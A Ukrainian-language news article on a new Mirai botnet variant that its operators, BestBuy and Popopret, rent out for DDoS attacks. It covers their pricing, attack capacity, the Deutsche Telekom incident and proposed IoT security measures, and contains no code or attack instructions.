Раніше наші експерти вивчили код ботнету Mirai – з'ясувалося, що він не був створений спеціально для пристроїв інтернету речей. Шкідливий софт шукає підключені до мережі пристрої з дефолтними логіна-паролями (admin:admin, root:password і т.п.). Це означає, що теоретично до його складу можуть входити будь-які пристрої, включаючи домашні комп'ютери та сервери або роутери.

IoT-пристрої- зазвичай роутери – входять до складу ботнета Miraiдо свого перезавантаження - потім черв'як стирається з їхньої пам'яті. Однак ботнет постійно сканує інтернет на предмет пошуку вразливих пристроїв, так що пристрій, що «вилікувався», може швидко знову стати його частиною. Серед хакерів розгорнулася справжня гонка за те, щоб першими інфікувати якнайбільше пристроїв.

Інформації про те, як творці нового Mirai встигають випередити конкурентів немає. Проте вони заявили журналістам, що використовують власний ботнет для сканування потенційно вразливих пристроїв, у тому числі тих, що раніше також були частиною ботнету.

«Чому б не змусити Mirai полювати Mirai і поглинути оригінал», - каже BestBuy.

Не тільки Mirai

Проте новий ботнет не лише поглинув старі пристрої з Mirai та нові з дефолтними паролями. Його творці також використовують 0-day вразливості у прошивках IoT-пристроїв. Експерти раніше прогнозували швидку появу таких «комбінованих» ботнетів.

Боротьба з ними помітно ускладнюється – якщо для протистояння Mirai самому користувачеві кінцевого пристрою достатньо лише змінити логін та пароль для доступу до нього, то з уразливістю гаджета він ніяк не зможе впоратися самостійно.

DDoS на 700 Гбіт/сек

Хакери BestBuy та Popopret почали рекламувати свої послуги – вони пропонують доступ до своєї нової версії Mirai, розсилаючи спам-повідомлення через XMPP/Jabber,

За словами хакера, вони пропонують замовникам кілька пакетів послуг. Дешевше коштує $2 000 - за ці гроші клієнти можуть орендувати від 20 000 до 25 000вузлів ботнета для запуску вартових у період до двох тижнів з часом перерви між атаками у п'ятнадцять хвилин. За $15 000 або $20 000 замовники отримують можливість вже 600 000 ботів для запуску двогодинних атак із 30 або 15-хвилинними перервами. У другому випадку потужність атаки становитиме 700 Гбіт/секабо більше.

Перспективи

Безпека IoT-пристроївчасто знаходиться на досить низькому рівні – це пояснюється тим, що вендори часто не зацікавлені у впровадженні додаткових заходів інформаційної безпеки. Вони рекламують простоту використання своєї продукції, проте додаткові заходи ІБ накладають обмеження і вимагають витрат ресурсів.

Як сказано вище, захистити користувачів від більш просунутих ботнетів зможуть лише розробники кінцевих пристроїв або провайдери, що їх надають (у разі роутерів). Німецький провайдер Deutsche Telekom, який постраждав від атаки нової версії Mirai, вже оголосив про те, що «перегляне ділові відносини» з постачальниками вразливих роутерів. Speedport, компанією Arcadyan.

Підвищити рівень захищеності інтернету речей в кінцевому підсумку можна буде за допомогою впровадження жорсткішого контролю пристроїв з боку провайдерів з одного боку, та розробкою стандартів та регулюючої документації для IoT з іншого. Подібні заходи вже вжито у багатьох країнах щодо забезпечення безпеки АСУ ТП. Перші кроки в цьому напрямку вже зроблено - наприклад, кілька IT-вендорів у вересні опублікували документ під назвою The Industrial Internet Security Framework (IISF)- У ньому пропонується вважати інтернет речей частиною «промислового інтернету».

Проте, поки що до остаточного вирішення питання ще далеко, і хакери BestBuy та Popopretможуть отримати монополію для проведення великих DDoS-атакв мережі. Це досить сумний факт, проте самі зломщики під час розмови з Motherboardзаявили про те, що у своїй діяльності керуватимуться не лише прибутком, а й моральними принципами. Так BestBuy заявив, що вони не дозволятимуть клієнтам атакувати IP-адреси компаній, що працюють із критичною інфраструктурою.